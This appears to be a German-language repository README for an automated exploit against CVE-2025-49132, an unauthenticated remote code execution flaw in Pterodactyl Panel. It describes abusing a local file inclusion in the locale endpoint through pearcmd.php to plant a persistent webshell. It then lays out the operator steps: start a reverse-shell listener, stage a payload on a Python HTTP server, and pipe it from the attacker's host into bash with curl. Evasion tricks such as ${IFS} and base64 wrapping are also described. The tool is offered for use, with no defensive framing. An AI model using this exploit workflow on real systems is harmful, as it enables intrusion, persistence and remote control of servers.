malw0re/cve-2025-49132-modsAutomatisierter Exploit für CVE-2025-49132, eine kritische, nicht authentifizierte RCE im Pterodactyl Panel. Nutzt LFI über den Locale-Endpunkt, um persistente Web-Shells bereitzustellen und Reverse-Shell-Zugriff zu erlangen.
Dieses Repository enthält einen speziellen Exploit für CVE-2025-49132, eine kritische, nicht authentifizierte Remote Code Execution (RCE) Schwachstelle im Pterodactyl Panel (vor Version 1.11.11).
Die Schwachstelle befindet sich im Endpunkt /locales/locale.json. Durch Manipulation der Abfrageparameter locale und namespace kann ein Angreifer eine Local File Inclusion (LFI) ausnutzen, um mit pearcmd.php zu interagieren. Dies ermöglicht das Erstellen beliebiger Dateien und die Ausführung von Befehlen, was zu einer vollständigen Systemkompromittierung führt.
Das Skript ape.py automatisiert die folgenden Schritte:
PEAR-Erkennung: Fuzzt die Verzeichnisstruktur, um die PEAR-Installation auf dem Ziel zu lokalisieren.
Backdoor-Erstellung: Nutzt PEARs config-create, um eine persistente Webshell nach /tmp/shell.php zu schreiben.
Um einen erfolgreichen Callback auf dem Ziel zu erreichen, befolgen Sie diesen Arbeitsablauf:
penelope -p 4444
Staging-Server: Wenn Sie ein benutzerdefiniertes Shell-Skript verwenden, hosten Sie es über Python:
python3 -m http.server 8080
python3 ape.py --host xxx.xxx.xxx --interactive
shell> curl http://<YOUR_IP>:8080/shell.sh | bash
Leerzeichen-Umgehung: Verwendet automatisch ${IFS}, um sicherzustellen, dass Payloads die URL-Analyse überstehen.
Base64-Wrapper: Verpackt Reverse-Shell-Befehle in Base64, um Zeichenverzerrungen durch den Nginx/Webserver des Ziels zu verhindern.
Timeout-Behandlung: Entwickelt, um zu erkennen, wann eine Reverse-Shell erfolgreich verbunden ist, selbst wenn die Webanfrage hängt.
